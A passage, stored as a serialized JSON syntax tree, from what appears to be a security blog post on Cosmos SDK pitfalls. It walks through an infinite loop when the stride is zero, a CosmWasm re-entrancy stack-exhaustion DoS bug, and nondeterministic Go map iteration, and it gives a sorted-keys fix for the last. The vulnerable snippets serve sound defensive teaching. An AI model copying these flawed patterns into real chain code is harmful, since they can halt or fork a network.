hildren":78781},{"style":1751},[78782],{"type":26,"value":5784},{"type":21,"tag":153,"props":78784,"children":78785},{"style":192},[78786],{"type":26,"value":78787}," idx",{"type":21,"tag":153,"props":78789,"children":78790},{"style":198},[78791],{"type":26,"value":78713},{"type":21,"tag":153,"props":78793,"children":78794},{"style":192},[78795],{"type":26,"value":78796}," msg",{"type":21,"tag":153,"props":78798,"children":78799},{"style":160},[78800],{"type":26,"value":355},{"type":21,"tag":153,"props":78802,"children":78803},{"style":192},[78804],{"type":26,"value":78805},"Start",{"type":21,"tag":153,"props":78807,"children":78808},{"style":160},[78809],{"type":26,"value":297},{"type":21,"tag":153,"props":78811,"children":78812},{"style":192},[78813],{"type":26,"value":78814},"idx",{"type":21,"tag":153,"props":78816,"children":78817},{"style":198},[78818],{"type":26,"value":4094},{"type":21,"tag":153,"props":78820,"children":78821},{"style":192},[78822],{"type":26,"value":78823}," end",{"type":21,"tag":153,"props":78825,"children":78826},{"style":160},[78827],{"type":26,"value":297},{"type":21,"tag":153,"props":78829,"children":78830},{"style":192},[78831],{"type":26,"value":78814},{"type":21,"tag":153,"props":78833,"children":78834},{"style":198},[78835],{"type":26,"value":17766},{"type":21,"tag":153,"props":78837,"children":78838},{"style":192},[78839],{"type":26,"value":78796},{"type":21,"tag":153,"props":78841,"children":78842},{"style":160},[78843],{"type":26,"value":355},{"type":21,"tag":153,"props":78845,"children":78846},{"style":192},[78847],{"type":26,"value":78848},"Stride",{"type":21,"tag":153,"props":78850,"children":78851},{"style":160},[78852],{"type":26,"value":236},{"type":21,"tag":153,"props":78854,"children":78855},{"class":155,"line":3253},[78856,78861,78865,78869,78873,78877,78881,78885],{"type":21,"tag":153,"props":78857,"children":78858},{"style":192},[78859],{"type":26,"value":78860},"        sum",{"type":21,"tag":153,"props":78862,"children":78863},{"style":198},[78864],{"type":26,"value":17766},{"type":21,"tag":153,"props":78866,"children":78867},{"style":192},[78868],{"type":26,"value":78796},{"type":21,"tag":153,"props":78870,"children":78871},{"style":160},[78872],{"type":26,"value":355},{"type":21,"tag":153,"props":78874,"children":78875},{"style":192},[78876],{"type":26,"value":78771},{"type":21,"tag":153,"props":78878,"children":78879},{"style":160},[78880],{"type":26,"value":211},{"type":21,"tag":153,"props":78882,"children":78883},{"style":192},[78884],{"type":26,"value":78814},{"type":21,"tag":153,"props":78886,"children":78887},{"style":160},[78888],{"type":26,"value":2941},{"type":21,"tag":153,"props":78890,"children":78891},{"class":155,"line":3301},[78892],{"type":21,"tag":153,"props":78893,"children":78894},{"style":160},[78895],{"type":26,"value":539},{"type":21,"tag":153,"props":78897,"children":78898},{"class":155,"line":3346},[78899,78903,78907,78911,78916,78921,78925,78930,78935],{"type":21,"tag":153,"props":78900,"children":78901},{"style":1751},[78902],{"type":26,"value":19687},{"type":21,"tag":153,"props":78904,"children":78905},{"style":198},[78906],{"type":26,"value":206},{"type":21,"tag":153,"props":78908,"children":78909},{"style":214},[78910],{"type":26,"value":78688},{"type":21,"tag":153,"props":78912,"children":78913},{"style":160},[78914],{"type":26,"value":78915},"{",{"type":21,"tag":153,"props":78917,"children":78918},{"style":192},[78919],{"type":26,"value":78920},"Sum",{"type":21,"tag":153,"props":78922,"children":78923},{"style":160},[78924],{"type":26,"value":18031},{"type":21,"tag":153,"props":78926,"children":78927},{"style":192},[78928],{"type":26,"value":78929},"sum",{"type":21,"tag":153,"props":78931,"children":78932},{"style":160},[78933],{"type":26,"value":78934},"}, ",{"type":21,"tag":153,"props":78936,"children":78937},{"style":170},[78938],{"type":26,"value":78939},"nil\n",{"type":21,"tag":153,"props":78941,"children":78942},{"class":155,"line":3355},[78943],{"type":21,"tag":153,"props":78944,"children":78945},{"style":160},[78946],{"type":26,"value":548},{"type":21,"tag":22,"props":78948,"children":78949},{},[78950,78952,78957,78958,78964],{"type":26,"value":78951},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":21,"tag":78,"props":78953,"children":78955},{"className":78954},[],[78956],{"type":26,"value":78814},{"type":26,"value":10042},{"type":21,"tag":78,"props":78959,"children":78961},{"className":78960},[],[78962],{"type":26,"value":78963},"stride",{"type":26,"value":78965},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":21,"tag":22,"props":78967,"children":78968},{},[78969],{"type":26,"value":78970},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":21,"tag":22,"props":78972,"children":78973},{},[78974],{"type":26,"value":78975},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":21,"tag":22,"props":78977,"children":78978},{},[78979],{"type":26,"value":78980},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":21,"tag":114,"props":78982,"children":78984},{"id":78983},"real-world-examples",[78985],{"type":26,"value":78986},"Real-World Examples",{"type":21,"tag":22,"props":78988,"children":78989},{},[78990],{"type":26,"value":78991},"Now, let's examine a few real-world instances.",{"type":21,"tag":22,"props":78993,"children":78994},{},[78995,78997,79003,79004,79010,79012,79018,79020,79026],{"type":26,"value":78996},"In the case of ",{"type":21,"tag":29,"props":78998,"children":79001},{"href":78999,"rel":79000},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[33],[79002],{"type":26,"value":20389},{"type":26,"value":9187},{"type":21,"tag":78,"props":79005,"children":79007},{"className":79006},[],[79008],{"type":26,"value":79009},"CosmWasm",{"type":26,"value":79011}," bug, the helper method ",{"type":21,"tag":78,"props":79013,"children":79015},{"className":79014},[],[79016],{"type":26,"value":79017},"write_to_contract",{"type":26,"value":79019}," negligently calls the untrusted Wasm function ",{"type":21,"tag":78,"props":79021,"children":79023},{"className":79022},[],[79024],{"type":26,"value":79025},"\"allocate\"",{"type":26,"value":355},{"type":21,"tag":22,"props":79028,"children":79029},{},[79030],{"type":21,"tag":29,"props":79031,"children":79034},{"href":79032,"rel":79033},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[33],[79035],{"type":26,"value":79036},"Permalink for snippet",{"type":21,"tag":143,"props":79038,"children":79040},{"code":79039,"language":147,"meta":7,"className":145,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n    env: &Environment\u003CA, S, Q>,\n    input: &[u8],\n) -> VmResult\u003Cu32> {\n    let out_size = to_u32(input.len())?;\n    let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n    let target_ptr = ref_to_u32(&result)?;\n    if target_ptr == 0 {\n        return Err(CommunicationError::zero_address().into());\n    }\n    write_region(&env.memory(), target_ptr, input)?;\n    Ok(target_ptr)\n}\n",[79041],{"type":21,"tag":78,"props":79042,"children":79043},{"__ignoreMap":7},[79044,79113,79161,79189,79218,79267,79341,79386,79409,79454,79461,79518,79537],{"type":21,"tag":153,"props":79045,"children":79046},{"class":155,"line":156},[79047,79051,79056,79060,79065,79069,79074,79078,79082,79086,79091,79095,79100,79104,79109],{"type":21,"tag":153,"props":79048,"children":79049},{"style":170},[79050],{"type":26,"value":1000},{"type":21,"tag":153,"props":79052,"children":79053},{"style":181},[79054],{"type":26,"value":79055}," write_to_contract",{"type":21,"tag":153,"props":79057,"children":79058},{"style":160},[79059],{"type":26,"value":8537},{"type":21,"tag":153,"props":79061,"children":79062},{"style":214},[79063],{"type":26,"value":79064},"A",{"type":21,"tag":153,"props":79066,"children":79067},{"style":198},[79068],{"type":26,"value":201},{"type":21,"tag":153,"props":79070,"children":79071},{"style":214},[79072],{"type":26,"value":79073}," BackendApi",{"type":21,"tag":153,"props":79075,"children":79076},{"style":160},[79077],{"type":26,"value":1670},{"type":21,"tag":153,"props":79079,"children":79080},{"style":214},[79081],{"type":26,"value":24742},{"type":21,"tag":153,"props":79083,"children":79084},{"style":198},[79085],{"type":26,"value":201},{"type":21,"tag":153,"props":79087,"children":79088},{"style":214},[79089],{"type":26,"value":79090}," Storage",{"type":21,"tag":153,"props":79092,"children":79093},{"style":160},[79094],{"type":26,"value":1670},{"type":21,"tag":153,"props":79096,"children":79097},{"style":214},[79098],{"type":26,"value":79099},"Q",{"type":21,"tag":153,"props":79101,"children":79102},{"style":198},[79103],{"type":26,"value":201},{"type":21,"tag":153,"props":79105,"children":79106},{"style":214},[79107],{"type":26,"value":79108}," Querier",{"type":21,"tag":153,"props":79110,"children":79111},{"style":160},[79112],{"type":26,"value":9318},{"type":21,"tag":153,"props":79114,"children":79115},{"class":155,"line":166},[79116,79120,79124,79128,79133,79137,79141,79145,79149,79153,79157],{"type":21,"tag":153,"props":79117,"children":79118},{"style":192},[79119],{"type":26,"value":6573},{"type":21,"tag":153,"props":79121,"children":79122},{"style":198},[79123],{"type":26,"value":201},{"type":21,"tag":153,"props":79125,"children":79126},{"style":198},[79127],{"type":26,"value":206},{"type":21,"tag":153,"props":79129,"children":79130},{"style":214},[79131],{"type":26,"value":79132},"Environment",{"type":21,"tag":153,"props":79134,"children":79135},{"style":160},[79136],{"type":26,"value":8537},{"type":21,"tag":153,"props":79138,"children":79139},{"style":214},[79140],{"type":26,"value":79064},{"type":21,"tag":153,"props":79142,"children":79143},{"style":160},[79144],{"type":26,"value":1670},{"type":21,"tag":153,"props":79146,"children":79147},{"style":214},[79148],{"type":26,"value":24742},{"type":21,"tag":153,"props":79150,"children":79151},{"style":160},[79152],{"type":26,"value":1670},{"type":21,"tag":153,"props":79154,"children":79155},{"style":214},[79156],{"type":26,"value":79099},{"type":21,"tag":153,"props":79158,"children":79159},{"style":160},[79160],{"type":26,"value":8867},{"type":21,"tag":153,"props":79162,"children":79163},{"class":155,"line":225},[79164,79169,79173,79177,79181,79185],{"type":21,"tag":153,"props":79165,"children":79166},{"style":192},[79167],{"type":26,"value":79168},"    input",{"type":21,"tag":153,"props":79170,"children":79171},{"style":198},[79172],{"type":26,"value":201},{"type":21,"tag":153,"props":79174,"children":79175},{"style":198},[79176],{"type":26,"value":206},{"type":21,"tag":153,"props":79178,"children":79179},{"style":160},[79180],{"type":26,"value":211},{"type":21,"tag":153,"props":79182,"children":79183},{"style":214},[79184],{"type":26,"value":217},{"type":21,"tag":153,"props":79186,"children":79187},{"style":160},[79188],{"type":26,"value":2912},{"type":21,"tag":153,"props":79190,"children":79191},{"class":155,"line":239},[79192,79196,79200,79205,79209,79214],{"type":21,"tag":153,"props":79193,"children":79194},{"style":160},[79195],{"type":26,"value":2362},{"type":21,"tag":153,"props":79197,"children":79198},{"style":198},[79199],{"type":26,"value":2953},{"type":21,"tag":153,"props":79201,"children":79202},{"style":214},[79203],{"type":26,"value":79204}," VmResult",{"type":21,"tag":153,"props":79206,"children":79207},{"style":160},[79208],{"type":26,"value":8537},{"type":21,"tag":153,"props":79210,"children":79211},{"style":214},[79212],{"type":26,"value":79213},"u32",{"type":21,"tag":153,"props":79215,"children":79216},{"style":160},[79217],{"type":26,"value":10009},{"type":21,"tag":153,"props":79219,"children":79220},{"class":155,"line":382},[79221,79225,79230,79234,79239,79243,79247,79251,79255,79259,79263],{"type":21,"tag":153,"props":79222,"children":79223},{"style":170},[79224],{"type":26,"value":629},{"type":21,"tag":153,"props":79226,"children":79227},{"style":192},[79228],{"type":26,"value":79229}," out_size",{"type":21,"tag":153,"props":79231,"children":79232},{"style":198},[79233],{"type":26,"value":255},{"type":21,"tag":153,"props":79235,"children":79236},{"style":181},[79237],{"type":26,"value":79238}," to_u32",{"type":21,"tag":153,"props":79240,"children":79241},{"style":160},[79242],{"type":26,"value":189},{"type":21,"tag":153,"props":79244,"children":79245},{"style":192},[79246],{"type":26,"value":11093},{"type":21,"tag":153,"props":79248,"children":79249},{"style":198},[79250],{"type":26,"value":355},{"type":21,"tag":153,"props":79252,"children":79253},{"style":181},[79254],{"type":26,"value":2456},{"type":21,"tag":153,"props":79256,"children":79257},{"style":160},[79258],{"type":26,"value":1618},{"type":21,"tag":153,"props":79260,"children":79261},{"style":198},[79262],{"type":26,"value":2022},{"type":21,"tag":153,"props":79264,"children":79265},{"style":160},[79266],{"type":26,"value":1759},{"type":21,"tag":153,"props":79268,"children":79269},{"class":155,"line":501},[79270,79274,79278,79282,79286,79290,79295,79299,79303,79307,79311,79315,79320,79324,79328,79333,79337],{"type":21,"tag":153,"props":79271,"children":79272},{"style":170},[79273],{"type":26,"value":629},{"type":21,"tag":153,"props":79275,"children":79276},{"style":192},[79277],{"type":26,"value":11882},{"type":21,"tag":153,"props":79279,"children":79280},{"style":198},[79281],{"type":26,"value":255},{"type":21,"tag":153,"props":79283,"children":79284},{"style":192},[79285],{"type":26,"value":2637},{"type":21,"tag":153,"props":79287,"children":79288},{"style":198},[79289],{"type":26,"value":355},{"type":21,"tag":153,"props":79291,"children":79292},{"style":181},[79293],{"type":26,"value":79294},"call_function1",{"type":21,"tag":153,"props":79296,"children":79297},{"style":160},[79298],{"type":26,"value":189},{"type":21,"tag":153,"props":79300,"children":79301},{"style":671},[79302],{"type":26,"value":79025},{"type":21,"tag":153,"props":79304,"children":79305},{"style":160},[79306],{"type":26,"value":1670},{"type":21,"tag":153,"props":79308,"children":79309},{"style":198},[79310],{"type":26,"value":1974},{"type":21,"tag":153,"props":79312,"children":79313},{"style":160},[79314],{"type":26,"value":211},{"type":21,"tag":153,"props":79316,"children":79317},{"style":192},[79318],{"type":26,"value":79319},"out_size",{"type":21,"tag":153,"props":79321,"children":79322},{"style":198},[79323],{"type":26,"value":355},{"type":21,"tag":153,"props":79325,"children":79326},{"style":181},[79327],{"type":26,"value":17588},{"type":21,"tag":153,"props":79329,"children":79330},{"style":160},[79331],{"type":26,"value":79332},"()])",{"type":21,"tag":153,"props":79334,"children":79335},{"style":198},[79336],{"type":26,"value":2022},{"type":21,"tag":153,"props":79338,"children":79339},{"style":160},[79340],{"type":26,"value":1759},{"type":21,"tag":153,"props":79342,"children":79343},{"class":155,"line":533},[79344,79348,79353,79357,79362,79366,79370,79374,79378,79382],{"type":21,"tag":153,"props":79345,"children":79346},{"style":170},[79347],{"type":26,"value":629},{"type":21,"tag":153,"props":79349,"children":79350},{"style":192},[79351],{"type":26,"value":79352}," target_ptr",{"type":21,"tag":153,"props":79354,"children":79355},{"style":198},[79356],{"type":26,"value":255},{"type":21,"tag":153,"props":79358,"children":79359},{"style":181},[79360],{"type":26,"value":79361}," ref_to_u32",{"type":21,"tag":153,"props":79363,"children":79364},{"style":160},[79365],{"type":26,"value":189},{"type":21,"tag":153,"props":79367,"children":79368},{"style":198},[79369],{"type":26,"value":1974},{"type":21,"tag":153,"props":79371,"children":79372},{"style":192},[79373],{"type":26,"value":11806},{"type":21,"tag":153,"props":79375,"children":79376},{"style":160},[79377],{"type":26,"value":2071},{"type":21,"tag":153,"props":79379,"children":79380},{"style":198},[79381],{"type":26,"value":2022},{"type":21,"tag":153,"props":79383,"children":79384},{"style":160},[79385],{"type":26,"value":1759},{"type":21,"tag":153,"props":79387,"children":79388},{"class":155,"line":542},[79389,79393,79397,79401,79405],{"type":21,"tag":153,"props":79390,"children":79391},{"style":1751},[79392],{"type":26,"value":2434},{"type":21,"tag":153,"props":79394,"children":79395},{"style":192},[79396],{"type":26,"value":79352},{"type":21,"tag":153,"props":79398,"children":79399},{"style":198},[79400],{"type":26,"value":6031},{"type":21,"tag":153,"props":79402,"children":79403},{"style":300},[79404],{"type":26,"value":5799},{"type":21,"tag":153,"props":79406,"children":79407},{"style":160},[79408],{"type":26,"value":236},{"type":21,"tag":153,"props":79410,"children":79411},{"class":155,"line":762},[79412,79416,79420,79424,79429,79433,79438,79442,79446,79450],{"type":21,"tag":153,"props":79413,"children":79414},{"style":1751},[79415],{"type":26,"value":18441},{"type":21,"tag":153,"props":79417,"children":79418},{"style":214},[79419],{"type":26,"value":18446},{"type":21,"tag":153,"props":79421,"children":79422},{"style":160},[79423],{"type":26,"value":189},{"type":21,"tag":153,"props":79425,"children":79426},{"style":214},[79427],{"type":26,"value":79428},"CommunicationError",{"type":21,"tag":153,"props":79430,"children":79431},{"style":198},[79432],{"type":26,"value":265},{"type":21,"tag":153,"props":79434,"children":79435},{"style":181},[79436],{"type":26,"value":79437},"zero_address",{"type":21,"tag":153,"props":79439,"children":79440},{"style":160},[79441],{"type":26,"value":365},{"type":21,"tag":153,"props":79443,"children":79444},{"style":198},[79445],{"type":26,"value":355},{"type":21,"tag":153,"props":79447,"children":79448},{"style":181},[79449],{"type":26,"value":17588},{"type":21,"tag":153,"props":79451,"children":79452},{"style":160},[79453],{"type":26,"value":379},{"type":21,"tag":153,"props":79455,"children":79456},{"class":155,"line":776},[79457],{"type":21,"tag":153,"props":79458,"children":79459},{"style":160},[79460],{"type":26,"value":539},{"type":21,"tag":153,"props":79462,"children":79463},{"class":155,"line":795},[79464,79469,79473,79477,79481,79485,79489,79493,79498,79502,79506,79510,79514],{"type":21,"tag":153,"props":79465,"children":79466},{"style":181},[79467],{"type":26,"value":79468},"    write_region",{"type":21,"tag":153,"props":79470,"children":79471},{"style":160},[79472],{"type":26,"value":189},{"type":21,"tag":153,"props":79474,"children":79475},{"style":198},[79476],{"type":26,"value":1974},{"type":21,"tag":153,"props":79478,"children":79479},{"style":192},[79480],{"type":26,"value":38383},{"type":21,"tag":153,"props":79482,"children":79483},{"style":198},[79484],{"type":26,"value":355},{"type":21,"tag":153,"props":79486,"children":79487},{"style":181},[79488],{"type":26,"value":78269},{"type":21,"tag":153,"props":79490,"children":79491},{"style":160},[79492],{"type":26,"value":21072},{"type":21,"tag":153,"props":79494,"children":79495},{"style":192},[79496],{"type":26,"value":79497},"target_ptr",{"type":21,"tag":153,"props":79499,"children":79500},{"style":160},[79501],{"type":26,"value":1670},{"type":21,"tag":153,"props":79503,"children":79504},{"style":192},[79505],{"type":26,"value":11093},{"type":21,"tag":153,"props":79507,"children":79508},{"style":160},[79509],{"type":26,"value":2071},{"type":21,"tag":153,"props":79511,"children":79512},{"style":198},[79513],{"type":26,"value":2022},{"type":21,"tag":153,"props":79515,"children":79516},{"style":160},[79517],{"type":26,"value":1759},{"type":21,"tag":153,"props":79519,"children":79520},{"class":155,"line":808},[79521,79525,79529,79533],{"type":21,"tag":153,"props":79522,"children":79523},{"style":214},[79524],{"type":26,"value":3621},{"type":21,"tag":153,"props":79526,"children":79527},{"style":160},[79528],{"type":26,"value":189},{"type":21,"tag":153,"props":79530,"children":79531},{"style":192},[79532],{"type":26,"value":79497},{"type":21,"tag":153,"props":79534,"children":79535},{"style":160},[79536],{"type":26,"value":5909},{"type":21,"tag":153,"props":79538,"children":79539},{"class":155,"line":820},[79540],{"type":21,"tag":153,"props":79541,"children":79542},{"style":160},[79543],{"type":26,"value":548},{"type":21,"tag":22,"props":79545,"children":79546},{},[79547,79549,79555,79557,79562],{"type":26,"value":79548},"As users have complete control over ",{"type":21,"tag":78,"props":79550,"children":79552},{"className":79551},[],[79553],{"type":26,"value":79554},"allocate",{"type":26,"value":79556},", there is a possibility to call back ",{"type":21,"tag":78,"props":79558,"children":79560},{"className":79559},[],[79561],{"type":26,"value":79017},{"type":26,"value":79563}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":21,"tag":22,"props":79565,"children":79566},{},[79567,79569,79576],{"type":26,"value":79568},"Additional real-world examples include ",{"type":21,"tag":29,"props":79570,"children":79573},{"href":79571,"rel":79572},"https://github.com/cosmos/cosmos-sdk/issues/16676",[33],[79574],{"type":26,"value":79575},"not returning proper values for malformed txs",{"type":26,"value":355},{"type":21,"tag":66,"props":79578,"children":79580},{"id":79579},"order-was-the-dream-of-man",[79581],{"type":26,"value":79582},"Order Was the Dream of Man",{"type":21,"tag":22,"props":79584,"children":79585},{},[79586],{"type":26,"value":79587},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":21,"tag":22,"props":79589,"children":79590},{},[79591],{"type":26,"value":79592},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":21,"tag":143,"props":79594,"children":79596},{"code":79595,"language":78461,"meta":7,"className":78462,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    for key, value := range objectMap {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, value),\n            )\n        )\n    }\n}\n",[79597],{"type":21,"tag":78,"props":79598,"children":79599},{"__ignoreMap":7},[79600,79633,79640,79669,79706,79735,79756,79768,79805,79813,79820,79827],{"type":21,"tag":153,"props":79601,"children":79602},{"class":155,"line":156},[79603,79607,79612,79616,79620,79624,79628],{"type":21,"tag":153,"props":79604,"children":79605},{"style":170},[79606],{"type":26,"value":35450},{"type":21,"tag":153,"props":79608,"children":79609},{"style":214},[79610],{"type":26,"value":79611}," ObjectMap",{"type":21,"tag":153,"props":79613,"children":79614},{"style":170},[79615],{"type":26,"value":51959},{"type":21,"tag":153,"props":79617,"children":79618},{"style":160},[79619],{"type":26,"value":211},{"type":21,"tag":153,"props":79621,"children":79622},{"style":214},[79623],{"type":26,"value":32361},{"type":21,"tag":153,"props":79625,"children":79626},{"style":160},[79627],{"type":26,"value":350},{"type":21,"tag":153,"props":79629,"children":79630},{"style":214},[79631],{"type":26,"value":79632},"string\n",{"type":21,"tag":153,"props":79634,"children":79635},{"class":155,"line":166},[79636],{"type":21,"tag":153,"props":79637,"children":79638},{"emptyLinePlaceholder":16},[79639],{"type":26,"value":759},{"type":21,"tag":153,"props":79641,"children":79642},{"class":155,"line":225},[79643,79647,79652,79656,79661,79665],{"type":21,"tag":153,"props":79644,"children":79645},{"style":170},[79646],{"type":26,"value":78597},{"type":21,"tag":153,"props":79648,"children":79649},{"style":181},[79650],{"type":26,"value":79651}," EmitEntries",{"type":21,"tag":153,"props":79653,"children":79654},{"style":160},[79655],{"type":26,"value":189},{"type":21,"tag":153,"props":79657,"children":79658},{"style":192},[79659],{"type":26,"value":79660},"objectMap",{"type":21,"tag":153,"props":79662,"children":79663},{"style":214},[79664],{"type":26,"value":79611},{"type":21,"tag":153,"props":79666,"children":79667},{"style":160},[79668],{"type":26,"value":2659},{"type":21,"tag":153,"props":79670,"children":79671},{"class":155,"line":239},[79672,79676,79680,79684,79688,79692,79697,79702],{"type":21,"tag":153,"props":79673,"children":79674},{"style":1751},[79675],{"type":26,"value":5784},{"type":21,"tag":153,"props":79677,"children":79678},{"style":192},[79679],{"type":26,"value":8661},{"type":21,"tag":153,"props":79681,"children":79682},{"style":160},[79683],{"type":26,"value":1670},{"type":21,"tag":153,"props":79685,"children":79686},{"style":192},[79687],{"type":26,"value":41843},{"type":21,"tag":153,"props":79689,"children":79690},{"style":198},[79691],{"type":26,"value":78713},{"type":21,"tag":153,"props":79693,"children":79694},{"style":1751},[79695],{"type":26,"value":79696}," range",{"type":21,"tag":153,"props":79698,"children":79699},{"style":192},[79700],{"type":26,"value":79701}," objectMap",{"type":21,"tag":153,"props":79703,"children":79704},{"style":160},[79705],{"type":26,"value":236},{"type":21,"tag":153,"props":79707,"children":79708},{"class":155,"line":382},[79709,79713,79717,79722,79726,79731],{"type":21,"tag":153,"props":79710,"children":79711},{"style":192},[79712],{"type":26,"value":28882},{"type":21,"tag":153,"props":79714,"children":79715},{"style":160},[79716],{"type":26,"value":355},{"type":21,"tag":153,"props":79718,"children":79719},{"style":192},[79720],{"type":26,"value":79721},"EventManager",{"type":21,"tag":153,"props":79723,"children":79724},{"style":160},[79725],{"type":26,"value":355},{"type":21,"tag":153,"props":79727,"children":79728},{"style":181},[79729],{"type":26,"value":79730},"EmitEvent",{"type":21,"tag":153,"props":79732,"children":79733},{"style":160},[79734],{"type":26,"value":773},{"type":21,"tag":153,"props":79736,"children":79737},{"class":155,"line":501},[79738,79743,79747,79752],{"type":21,"tag":153,"props":79739,"children":79740},{"style":192},[79741],{"type":26,"value":79742},"            sdk",{"type":21,"tag":153,"props":79744,"children":79745},{"style":160},[79746],{"type":26,"value":355},{"type":21,"tag":153,"props":79748,"children":79749},{"style":181},[79750],{"type":26,"value":79751},"NewEvent",{"type":21,"tag":153,"props":79753,"children":79754},{"style":160},[79755],{"type":26,"value":773},{"type":21,"tag":153,"props":79757,"children":79758},{"class":155,"line":533},[79759,79764],{"type":21,"tag":153,"props":79760,"children":79761},{"style":671},[79762],{"type":26,"value":79763},"                \"MapContext\"",{"type":21,"tag":153,"props":79765,"children":79766},{"style":160},[79767],{"type":26,"value":792},{"type":21,"tag":153,"props":79769,"children":79770},{"class":155,"line":542},[79771,79776,79780,79785,79789,79793,79797,79801],{"type":21,"tag":153,"props":79772,"children":79773},{"style":192},[79774],{"type":26,"value":79775},"                sdk",{"type":21,"tag":153,"props":79777,"children":79778},{"style":160},[79779],{"type":26,"value":355},{"type":21,"tag":153,"props":79781,"children":79782},{"style":181},[79783],{"type":26,"value":79784},"NewAttribute",{"type":21,"tag":153,"props":79786,"children":79787},{"style":160},[79788],{"type":26,"value":189},{"type":21,"tag":153,"props":79790,"children":79791},{"style":192},[79792],{"type":26,"value":74451},{"type":21,"tag":153,"props":79794,"children":79795},{"style":160},[79796],{"type":26,"value":1670},{"type":21,"tag":153,"props":79798,"children":79799},{"style":192},[79800],{"type":26,"value":41843},{"type":21,"tag":153,"props":79802,"children":79803},{"style":160},[79804],{"type":26,"value":679},{"type":21,"tag":153,"props":79806,"children":79807},{"class":155,"line":762},[79808],{"type":21,"tag":153,"props":79809,"children":79810},{"style":160},[79811],{"type":26,"value":79812},"            )\n",{"type":21,"tag":153,"props":79814,"children":79815},{"class":155,"line":776},[79816],{"type":21,"tag":153,"props":79817,"children":79818},{"style":160},[79819],{"type":26,"value":70615},{"type":21,"tag":153,"props":79821,"children":79822},{"class":155,"line":795},[79823],{"type":21,"tag":153,"props":79824,"children":79825},{"style":160},[79826],{"type":26,"value":539},{"type":21,"tag":153,"props":79828,"children":79829},{"class":155,"line":808},[79830],{"type":21,"tag":153,"props":79831,"children":79832},{"style":160},[79833],{"type":26,"value":548},{"type":21,"tag":22,"props":79835,"children":79836},{},[79837],{"type":26,"value":79838},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":21,"tag":5689,"props":79840,"children":79841},{},[79842],{"type":21,"tag":22,"props":79843,"children":79844},{},[79845],{"type":26,"value":79846},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":21,"tag":22,"props":79848,"children":79849},{},[79850,79852,79857],{"type":26,"value":79851},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":21,"tag":78,"props":79853,"children":79855},{"className":79854},[],[79856],{"type":26,"value":69396},{"type":26,"value":79858}," and then fetch the values using the sorted key array before emitting them.",{"type":21,"tag":143,"props":79860,"children":79862},{"code":79861,"language":78461,"meta":7,"className":78462,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    var keys []string\n    for key := range objectMap {\n        keys = append(keys, key)\n    }\n    sort.Strings(keys)\n\n    for _, key := range keys {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, objectMap[key]),\n            )\n        )\n    }\n}\n",[79863],{"type":21,"tag":78,"props":79864,"children":79865},{"__ignoreMap":7},[79866,79897,79904,79931,79951,79978,80014,80021,80050,80057,80092,80119,80138,80149,80193,80200,80207,80214],{"type":21,"tag":153,"props":79867,"children":79868},{"class":155,"line":156},[79869,79873,79877,79881,79885,79889,79893],{"type":21,"tag":153,"props":79870,"children":79871},{"style":170},[79872],{"type":26,"value":35450},{"type":21,"tag":153,"props":79874,"children":79875},{"style":214},[79876],{"type":26,"value":79611},{"type":21,"tag":153,"props":79878,"children":79879},{"style":170},[79880],{"type":26,"value":51959},{"type":21,"tag":153,"props":79882,"children":79883},{"style":160},[79884],{"type":26,"value":211},{"type":21,"tag":153,"props":79886,"children":79887},{"style":214},[79888],{"type":26,"value":32361},{"type":21,"tag":153,"props":79890,"children":79891},{"style":160},[79892],{"type":26,"value":350},{"type":21,"tag":153,"props":79894,"children":79895},{"style":214},[79896],{"type":26,"value":79632},{"type":21,"tag":153,"props":79898,"children":79899},{"class":155,"line":166},[79900],{"type":21,"tag":153,"props":79901,"children":79902},{"emptyLinePlaceholder":16},[79903],{"type":26,"value":759},{"type":21,"tag":153,"props":79905,"children":79906},{"class":155,"line":225},[79907,79911,79915,79919,79923,79927],{"type":21,"tag":153,"props":79908,"children":79909},{"style":170},[79910],{"type":26,"value":78597},{"type":21,"tag":153,"props":79912,"children":79913},{"style":181},[79914],{"type":26,"value":79651},{"type":21,"tag":153,"props":79916,"children":79917},{"style":160},[79918],{"type":26,"value":189},{"type":21,"tag":153,"props":79920,"children":79921},{"style":192},[79922],{"type":26,"value":79660},{"type":21,"tag":153,"props":79924,"children":79925},{"style":214},[79926],{"type":26,"value":79611},{"type":21,"tag":153,"props":79928,"children":79929},{"style":160},[79930],{"type":26,"value":2659},{"type":21,"tag":153,"props":79932,"children":79933},{"class":155,"line":239},[79934,79939,79943,79947],{"type":21,"tag":153,"props":79935,"children":79936},{"style":170},[79937],{"type":26,"value":79938},"    